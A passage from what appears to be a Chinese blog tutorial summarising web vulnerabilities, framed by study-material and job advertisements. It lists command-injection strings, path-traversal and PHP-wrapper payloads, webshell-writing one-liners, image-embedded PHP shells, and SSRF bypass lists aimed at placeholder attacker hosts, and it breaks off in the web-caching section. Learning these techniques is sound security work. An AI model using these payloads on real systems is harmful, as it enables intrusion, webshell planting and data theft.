网络安全最全web漏洞总结大全(基础)_web漏洞文章 csdn(2),成功入职百度月薪35K

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

在这里插入图片描述

因篇幅有限,仅展示部分资料

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

https://book.hacktricks.xyz/pentesting-web/sql-injection
https://blog.csdn.net/haoge1998/article/details/124197807

之后会写关于如何绕过waf的文章,sql注入的利用方法也有很多,时间注入,布尔注入,base64注入之类的,也可以去学习相关的知识
学会自己去搜集知识学习,然后归纳成自己的
每天学着碎片化的东西,不总结成自己的 = 白学

XSS

xss漏洞现在也挺常见的,某些大企业的网站也有xss漏洞,下面会举例的,xss漏洞的原理是攻击者往 Web 页面里插入恶意 Script 代码,当用户浏览该页时,嵌入其中 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的

XSS漏洞也分为了三种

反射型xss

反射型的xss很多漏洞平台都不会收,反射型xss经过后端服务处理,但不存储数据库中
反射型xss多见于搜索框里,利用原理如下

<p></p>

然后搜索,之后后端就会执行这个Script 代码

<p><script>alert(1)</script></p>

然后就会弹出来一个提示框

用处不是很大,也很常见,所以很多漏洞平台都不会收

存储型xss

存储型xss会经过后端服务处理,并且数据存储在数据库端,这种xss多见于用户资料,文件上传,论坛、博客、留言板、网站的留言、评论、日志等交互处
存储型ⅩSS攻击的流程如下

1.用户提交了一条包含XSS代码的留言到数据库
2.当目标用户查询留言时,那些留言的内容会从服务器解析之后加载出来
3.浏览器发现有XSS代码,就当做正常的HTML和JS解析执行

抖音修改个人资料造成存储型xss

https://aidilarf.medium.com/stored-xss-at-https-www-tiktok-com-11fed6db0590

推特修改地图造成存储型xss

https://hamzadzworm.medium.com/how-i-got-a-bug-that-leads-to-takeover-accounts-of-any-user-who-view-my-profile-913c8704f6cd

利用方法很多,可以多去看看xss漏洞提交成功的文章,基本都是存储型xss

DOM型xss

DOM型xss不经过后端服务处理,并且不存储数据库里,在应用程序里包含一些 JavaScript 脚本时出现,这些 JavaScript 以不安全的方式处理来自不受信任来源的数据,通常是将数据写回 DOM。
在以下示例中,应用程序使用一些 JavaScript 从输入字段读取值并将该值写入 HTML 中的元素:

var search = document.getElementById('search').value;
var results = document.getElementById('results');
results.innerHTML = 'You searched for: ' + search;

如果攻击者可以控制输入字段的值,他们可以轻松构造一个恶意值,导致他们自己的脚本执行:

You searched for: <img src=1 onerror='<script>alert(1)</script>'>

DOM型xss它的利用流程是这样的:

1.攻击者寻找具有漏洞的网站
2.攻击者给用户发了一个带有恶意字符串的链接
3.用户点击了该链接
4.服务器返回HTML文档,但是该文档此时不包含那个恶意字符串
5.客户端执行了该HTML文档里的脚本,然后把恶意脚本植入了页面
6.客服端执行了植入的恶意脚本,XSS攻击就发生了

反射型XSS与DOM型区别:

1、反射型XSS攻击中,服务器在返回HTML文档的时候,就已经包含了恶意的脚本;
2、DOM型xss攻击中,服务器在返回HTML文档的时候,是不包含恶意脚本的;非恶意脚本是在其执行本地恶意脚本后,被注入到文档里的

总结

xss漏洞的攻击者通常能够:

冒充或伪装成受害用户。
执行用户能够执行的任何操作。
读取用户能够访问的任何数据。
捕获用户的登录凭据。
将木马功能注入网站。

xss攻击也需要绕过waf,之后也会写
一些关于xss的文章

https://www.freebuf.com/articles/web/289263.html
https://portswigger.net/web-security/cross-site-scripting

学会自己去搜集知识学习,然后归纳成自己的
每天学着碎片化的东西,不总结成自己的 = 白学

命令注入

命令注入(也称为 shell 注入)是一种 Web 安全漏洞,允许攻击者在运行应用程序的服务器上执行任意操作系统命令,这个漏洞比较少见,但不代表没有,存在命令注入多半都算是高危漏洞了

一些疑似存在命令注入的参数:

?cmd=
?exec=
?command=
?execute
?ping=
?query=
?jump=
?code=
?reg=
?do=
?func=
?arg=
?option=
?load=
?process=
?step=
?read=
?function=
?req=
?feature=
?exe=
?module=
?payload=
?run=
?print=

测试的命令:

ls||id;
ls|id;
ls&&id;
ls&id;
ls %0A id

不止在url传参界面有这个漏洞,还会在其他的传参界面存在,列如我写的这篇文章
https://blog.csdn.net/qq_45894840/article/details/127727429?spm=1001.2014.3001.5501

在文件上传界面也有命令注入的漏洞,可以遇到有传参的界面就去测试
如果需要输入空格,可以用以下命令代替空格

${IFS}
+

LFI && RFI

本地文件包含漏洞无论是在挖洞的时候和打ctf比赛的时候都会遇到,当用户可以通过某种方式控制将由服务器加载的文件时,就会出现此漏洞。
易受攻击的PHP 函数:require、require_once、include、include_once
而远程文件包含比较少见,因为在php中这是默认禁用的函数
容易存在文件包含漏洞的参数

?cat=
?dir=
?action=
?board=
?date=
?detail=
?file=
?download=
?path=
?folder=
?prefix=
?include=
?page=
?inc=
?locate=
?show=
?doc=
?site=
?type=
?view=
?content=
?document=
?layout=
?mod=
?conf=

什么是本地文件包含,什么是远程文件包含

本地文件包含就是通过浏览器包含web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格的过滤允许遍历目录的字符注入浏览器并执行。 远程文件包含就是允许攻击者包含一个远程的文件,一般是在远程服务器上预先设置好的脚本。

本地文件包含http://example.com/index.php?page=../../../etc/passwd

远程文件包含:http://example.com/index.php?page=http://baimao.com/exploit.txt

测试方法

http://example.com/index.php?page=../../../etc/passwd

编码绕过

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///....//etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
http://example.com/index.php?page=/var/www/../../etc/passwd

windows的一些默认路径

c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息

PHP伪协议

PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。

filter

php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用;在文件包含中用于读取文件内容,读取后输出base64编码后的内容,要获取真实内容的话,需要进行base64解码

?file=php://filter/read=convert.base64-encode/resource=index.php
?file=php://filter/convert.base64-encode/resource=../sss.php

file

利用file协议执行任意文件读取:

?file=file://C:/windows/win.ini

data

通过data协议可以直接执行命令,利用条件:

php > 5.2
allow_url_fopen=On && allow_url_include=On

paylaod:

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=

expect

使用expect协议可以直接执行系统命令

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input

input协议是个可以访问请求的原始数据的只读流。使用时,将要输入的数据以post方式提交
利用条件:

1. PHP.ini 中 allow_url_include= On
2. php <5.0 ,allow_url_include=Off 也可以

读取目录结构
<?php print_r(scandir("C:\phpStudy\PHPTutorial\WWW"))?> #改成想查看的路径即可

写入木马
GET:<?php fputs(fopen('shell.php','w'),'<?=`{${~"\xa0\xb8\xba\xab"}[1]}`;');?>
POST:<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

phar

phar协议数据流包装器自PHP 5.3.0起开始。这个参数是就是php解压缩包的一个函数,不管目标文件后缀是什么,都将其当做压缩包来解压
利用条件:

PHP>= 5.3.0

payload

?file=phar://压缩包/内部文件

zip

zip伪协议和phar协议类似,但是用法不一样
利用条件:

5.2.17 =<php <= 7.0.12

payload:

?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]zip://xxx.png#shell.php或zip://xxx.zip#shell.php

日志文件包含

Linux存储路径

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Windows存储路径

D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log
C:\WINDOWS\system32\Logfiles
%SystemDrive%\inetpub\logs\LogFiles
C:/Windows/system32/inetsrv/metabase.xml
C:\Windows\System32\inetsrv\config\applicationHost.config

apache/nginx报错日志

利用条件:

需要知道服务器日志的存储路径,且日志文件可读

利用原理:

web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log

正常的php代码已经写入了 error.log,包含即可执行代码

利用文件包含漏洞去包含log文件:

ssh登录日志

利用条件:

需要知道ssh-log的位置,且可读

ssh日志默认位置:

/var/log/auth.log(默认情况下,所有用户都可读)
/var/log/secure

payload:使用终端执行以下命令

ssh '<?php phpinfo();?>'@IP

远程文件包含绕过

问号绕过
?file=http://192.168.91.139/phpinfo.php?

井号绕过
?file=http://192.168.91.139/phpinfo.php#

这里推荐一个方便测试本地文件包含的工具

https://github.com/kurobeats/fimap

参数:

./fimap.py -u http://192.168.56.103/fileincl/example1.php?page=


fuzz字典

https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

文件上传

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,“文件上传” 本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

不同的Web服务执行的脚本格式可能会有所不同,那么扩展名也会不同,通常Web服务的脚本类型来决定扩展名
常见的脚本解析扩展名

PHP: 
.php, .php2, .php3, .php4, .php5, .php6,.php7,
.phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml,
.htaccess, .phar, .inc, .hphp,.ctp, .module

在PHP8版本中仅支持: 
.php, .php4, .php5, .phtml, .module, .inc, .hphp

ASP: 
.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd,
.cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, 
.asa, .cer,.shtml

Jsp: 
.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action

Coldfusion:
.cfm、.cfml、.cfc、.dbm

Flash: .swf

Perl:
.pl, .cgi

Erlang Yaws Web Server: 
.yaws

绕过文件扩展名检查

1.大小写绕过、更改字母大小写

如 .PHp, .pHP5, .PhAr ...

2.使用以前的扩展

如 file.png.php file.png.php5

  1. 在末尾添加特殊字符(也可以配合Burp进行爆破所有的ascii和Unicode字符)
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....

4.尝试添加加倍扩展或者扩展之间添加空字节,等技术来绕过欺骗服务器端扩展解析器的保护。还可以使用以前的扩展来准备更好的Payload。

file.png.php
file.png.pHp5
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
flile.phpJunk123png

5.在之前的检查基础上再增加一层扩展

file.png.jpg.php
file.php%00.png%00.jpg

6.可将执行脚本扩展名放入有效扩展名之前(看服务器配置有没有错误,运气问题,对于利用Apache错误配置很有用)

例如:file.php.png

7.在Windows中使用NTFS备用数据流(ADS) 在这种情况下插入一个冒号符号":"比如服务器禁止带有扩展名的空文件下

例如 file.asax:.jpg
也可以使用::$data 模式也可用于创建非空文件
例如 file.asp::$data

8.尝试打破文件名限制,有效的文件名被切断,恶意的PHP就留下来了。AAA<–SNIP–>AAA.php

# Linux 最大字节为255字节,利用metasploit脚本生成
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 在这里减去4字节 并加入 .png

# 上传文件并检查响应允许的字符数。比方说236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# 制作有效Payload,前面是232个字节A剩下4个位置
AAA<--SNIP 232 A-->AAA.php.png

关于在Windows中使用NTFS 备用数据流 (ADS)可以参考这篇文章

https://www.cnblogs.com/zUotTe0/p/13455971.html

绕过内容类型、文件头

  1. 更改Content-Type请求头
image/png 、text/plain 、 application/octet-stream 

更多内容类型词表
https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt

  1. 通过在文件开头添加真实图像的字节来绕过文件头检查(混淆_文件_命令)。

在图片的**元数据中引入 shell **:

exiftool -comment="<?php phpinfo(); ?>" nasa.png


最后将nasa.png 重命名为nasa.php ,将其上传到应用程序,Web 服务器会将文件解释为 PHP 脚本,忽略原始 PNG 文件的所有合法数据,并简单地执行我们在文件注释部分中找到的 PHP 负载。

也可以直接在图像中引入有效载荷,用法和上一个一致

echo '<?php system($_REQUEST['cmd']); ?>' >> hh.png

特殊的扩展技巧

在得知中间件的情况下可以尝试利用中间件配置文件的特性尝试图片扩展限制

.htaccess特性

.htaccess仅支持Apache,这个文件通常叫伪静态文件,是apache的配置文件,会涉及到网址脚本格式的解析规则,我们可以通过这个文件实现解析的自定义

<FilesMatch "jpg">//文件匹配到这个文件名
SetHandler application/x-httpd-php//将以php的文件类型格式执行
</FilesMatch>  
 
或者是这个
AddType application/x_httpd_php jpg

先上传.htacces文件后上传hh.jpg的图片马,访问hh.jpg,可以看见文件是以php格式执行

.user.ini特性

.user.ini只能用于Server API为FastCGI模式下,正常情况下apache不运行此模块

auto_prepend_file=hh.jpg  文件前插入
auto_append_file=hh.jpg   文件最后插入

通常在文件上传中,一般是专门有一个目录用来存在图片,可能小概率会存在.php 文件。.user.ini局限是php文件可以包含该指定的文件,如果你不访问目标网址php文件那就不能包含图片马,也使用不了,如果访问了目录上的php文件,就能解析图片马,这就是.user.ini的利用方式。
上传配置文件

auto_append_file=2.png


上传图片前,先访问php文件,可以看见没有任何问题

上传图片马

再次访问php文件,成功包含图片马的脚本内容

从文件上传到其他漏洞

通过设置文件名来测试是否有其他漏洞存在的可能性

目录遍历
../../../tmp/lol.png

SQL 注入
sleep(10)-- -.jpg

实现XSS
<svg onload=alert(document.domain)>

命令注入
; sleep 10;

总结

文件上传危害是很大的,一般上传成功之后直接getshell,通过前面的信息收集并测试payload来提高上传的成功率,最后还可以尝试利用文件名来扩大漏洞的范围性。

SSRF

服务端请求伪造(Server-Side Request Forgery),指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。

我用一下代码举例:

<?php
if(isset($_GET['url']) && $_GET['url'] != null){

    //接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
    $URL = $_GET['url'];
    $CH = curl_init($URL);
    curl_setopt($CH, CURLOPT_HEADER, FALSE);
    curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
    $RES = curl_exec($CH);
    curl_close($CH) ;
//ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
//除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet
//curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
    echo $RES;

}

?>

通过url这个参数进行传参,可以看见代码没有进行任何过滤,导致了可以利用url进行协议攻击

漏洞验证

  1. 排除法:浏览器F12查看源代码看是否是在本地进行了请求
比如:该资源地址类型为 http://www.xxx.com/a.php?url=(地址)的就可能存在SSRF漏洞

  1. 盲打:利用dnslog等平台进行测试,查看是否存在回显
http://dnslog.cn/
http://ceye.io

  1. 抓包分析发送的请求是不是由服务器的发送的,如果不是客户端发出的请求,则有可能是,接着找存在HTTP服务的内网地址

一些可能存在SSRF的功能点

1.社交分享功能:获取超链接的标题等内容进行显示

2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

3.在线翻译:给网址翻译对应网页的内容

4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片

5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验

6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试

7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作

8.数据库内置功能:数据库的比如mongodb的copyDatabase函数

9.邮件系统:比如接收邮件服务器地址

10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等

11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞

一些的url中的关键字:

share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……

利用方式

http

主要用于探测内网主机存活、端口开放情况,利用上面编好的SSRF漏洞来测试一下:

  • 探测一下本地是否存在mysql服务器
?url=127.0.0.1:3306


伪造请求探测服务器的其他端口

如果对url后缀有限制则可以用?或者#绕过

?url=127.0.0.1:3306/?
?url=127.0.0.1:3306/#

file

尝试配合 file 协议来获取存在 SSRF 漏洞的本机内网 IP 地址信息,确认当前资产的网段信息

file:///etc/hosts

还可以尝试读取 /proc/net/arp 或者 /etc/network/interfaces 来判断当前机器的网络情况

file:///proc/net/arp
file:///etc/network/interfaces

SFTP

sftp代表SSH文件传输协议,通过sftp协议获取SSH相关信息

ssrf.php?url=sftp://evil.com:11111/

kali监听4444端口等待回显

在存在SSRF处输入Payload

sftp://192.168.3.14:4444


TFTP

普通文件传输协议用于,在 UDP 上工作

ssrf.php?url=tftp://evil.com:1/TESTUDPPACKET

http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET 
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3

LDAP

ldap://或ldaps:// 或ldapi:// 轻量级目录访问协议。它是一种在IP网络上用于管理和访问分布式目录信息服务的应用协议。

ssrf.php?url=ldap://localhost:11211/%0astats%0aquit

dict

DICT URL 方案用于引用使用 DICT 协议可用的定义或单词列表,可以用来操作内网Redis等服务,字典协议自带头尾,限制较大,不能转化成GET或者POST的请求

dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/

SSRF 常配合 DICT 协议探测内网端口开放情况,但不是所有的端口都可以被探测,一般只能探测出一些带 TCP 回显的端口

dict://xx.xx.xx.xx:port

Gopher

Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。

gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

支持换行可以伪造其他的所有协议,可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求,还可以攻击内网未授权MySQL。

推荐一个基于利用Gopher协议的工具

https://github.com/tarunkant/Gopherus

此工具为以下各项服务生成 Gopher协议 有效Payload:

MySQL
PostgreSQL
FastCGI
Redis
Zabbix
Memcache

关于工具用法可以参考这篇文章

https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/

白名单&&黑名单

在前面中我们提到SSRF产生的原因为未对参数中引用的URL进行限制,使得攻击者能够利用这一漏洞将引用的URL指向内网中的其它地址以获得本应该被拒绝外网访问的资源。因此常见的SSRF防御手段为对引用的URL进行限制。常见的限制手段有黑名单和白名单两种。

什么是黑名单&&白名单?

黑名单是指不允许某些地址并在收到黑名单地址作为输入时阻止请求的做法。白名单意味着服务器只允许通过包含预先指定列表中的 URL 的请求,并使所有其他请求失败。

绕过黑名单

由于web应用的需求是需要获取外部资源,大多数SSRF保护机制都是以黑名单的形式出现的。如果面临黑名单,有多种方法欺骗服务器。

重定向

让服务器请求一个你控制的 URL,该 URL 重定向到列入黑名单的地址。例如,你可以在您的 Web 服务器上托管一个包含以下内容的文件:

<?php header("Location: http://127.0.0.1"); ?>

假设此文件托管在http://attacker.com/redirect.php 。这样,当您向目标服务器发出请求http://attacker.com/redirect.php时,目标服务器实际上被重定向到http://127.0.0.1 ,一个受限制的内部地址。

更改IP写法

下面是一些常用于绕过黑名单的方式

# Localhost
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://127.1:80
http://0
http:@0/ --> http://localhost/
http://0.0.0.0:80
http://localhost:80
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
http://①②⑦.⓪.⓪.⓪

# CDIR绕过
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0

# 点号绕过
127。0。0。1
127%E3%80%820%E3%80%820%E3%80%821

# 十进制绕过
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1

# 八进制绕过
http://0177.0000.0000.0001
http://00000177.00000000.00000000.00000001
http://017700000001

# 十六进制绕过
127.0.0.1 = 0x7f 00 00 01
http://0x7f000001/ = http://127.0.0.1
http://0xc0a80014/ = http://192.168.0.20
0x7f.0x00.0x00.0x01
0x0000007f.0x00000000.0x00000000.0x00000001

# 还可以混合使用各种编码绕过
# https://www.silisoftware.com/tools/ipconverter.php

# 畸形而罕见的绕过方式
localhost:+11211aaa
localhost:00011211aaaa
http://0/
http://127.1
http://127.0.1

# DNS解析到本地主机
localtest.me = 127.0.0.1
customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
mail.ebc.apple.com = 127.0.0.6 (localhost)
127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://bugbounty.dod.network = 127.0.0.2 (localhost)
1ynrnhl.xip.io == 169.254.169.254
spoofed.burpcollaborator.net = 127.0.0.1

绕过白名单

白名单通常更难绕过,因为它们在默认情况下比黑名单更严格。但如果白名单域中存在开放重定向漏洞,则有可能。如果您可以找到一个开放的重定向,你可以请求一个重定向到内部 URL 的白名单 URL。
例如,可以通过使用子域或目录作为白名单域名。

victim.com.attacker.com
attacker.com/victim.com

更改域名写法
https:attacker.com
https:/attacker.com
http:/\/\attacker.com
https:/\attacker.com
//attacker.com
\/\/attacker.com/
/\/attacker.com/
/attacker.com
%0D%0A/attacker.com
#attacker.com
#%20@attacker.com
@attacker.com
http://169.254.1698.254\@attacker.com
attacker%00.com
attacker%E3%80%82com
attacker。com
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ   利用封闭的字母数字绕过

下面封闭的字母数字

① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾
⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗
⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰
⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ
Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

域混淆

利用不同的域名配合符号进行干扰从而突破限制

# 还尝试将 attacker.com 更改为 127.0.0.1 以尝试访问
http://{domain}@attacker.com
http://{domain}%6D@attacker.com
https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com
http://attacker.com#{domain}
http://{domain}.attacker.com
http://attacker.com/{domain}
http://attacker.com/?d={domain}
https://{domain}@attacker.com
https://attacker.com#{domain}
https://{domain}.attacker.com
https://attacker.com/{domain}
https://attacker.com/?d={domain}
http://{domain}@attacker.com
http://attacker.com#{domain}
http://{domain}.attacker.com
http://attacker.com/{domain}
http://attacker.com/?d={domain}
http://attacker.com%00{domain}
http://attacker.com?{domain}
http://attacker.com///{domain}
https://attacker.com%00{domain}
https://attacker.com%0A{domain}
https://attacker.com?{domain}
https://attacker.com///{domain}
https://attacker.com\{domain}/
https://attacker.com;https://{domain}
https://attacker.com\{domain}/
https://attacker.com\.{domain}
https://attacker.com/.{domain}
https://attacker.com\@@{domain}
https://attacker.com:\@@{domain}
https://attacker.com#\@{domain}
https://attacker.com\anything@{domain}/

# 在每个 IP 位置尝试将 1 个攻击者域和其他受害者域
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/

# 参数污染
next={domain}&next=attacker.com

总结

SSRF作为跳板攻击,常涉及到内网资产的安全性,其中攻击面最大的协议是Gopher,利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache还可以攻击内网未授权MySQL
常见的SSRF防御机制有两种原理,分别是黑名单和白名单。基于黑名单的SSRF保护相对容意绕过,基于白名单的SSRF保护则较难绕过,有一定的运气成分。如果能利用其他漏洞(如重定向漏洞)与SSRF相结合,可以达到事半功倍的作用。

web缓存中毒和web缓存欺骗

什么是web缓存

如果服务器必须分别向每个HTTP 请求发送新的响应,这可能会使服务器过载,从而导致延迟问题和各种问题,尤其是在繁忙时段。而缓存主要是减少此类问题的一种方法

缓存位于服务器和用户之间,它保存(缓存)对特定请求的响应,通常保存一段固定的时间。如果另一个用户随后发送等效请求,则缓存会直接向用户提供缓存响应的副本,而无需与后端进行任何交互。通过减少必须处理的重复请求的数量,这极大地减轻了服务器上的负载

用户发送请求的时间段(time user),缓存(cache),网站(website)

在这里插入图片描述

缓存键(cache key)

当缓存收到HTTP请求时,它首先要判断是否有缓存的响应可以直接服务,或者是否需要转发请求由后端服务器处理
简单来说,就是通过缓存键来判断两个请求是否正在尝试加载相同的资源
下面这两个请求是等效的,并使用从第一个请求缓存的响应来响应第二个请求:

GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Cookie: language=pl;
Connection: close

GET /blog/post.php?mobile=1 HTTP/1.1


**先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7**

**深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**

**因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**
![img](https://img-blog.csdnimg.cn/img_convert/77603f610c3dbb4e542eb8c8c421713a.png)
![img](https://img-blog.csdnimg.cn/img_convert/1a9e3f398239704338074ce35919b7ab.png)
![img](https://img-blog.csdnimg.cn/img_convert/4e5cca51fc218fdc22957da8ee3b8e67.png)
![img](https://img-blog.csdnimg.cn/img_convert/d593ccffb0e80098078d8cd41de47c50.png)
![img](https://img-blog.csdnimg.cn/img_convert/1ebe981954f143e868e5763b4b666c9b.png)
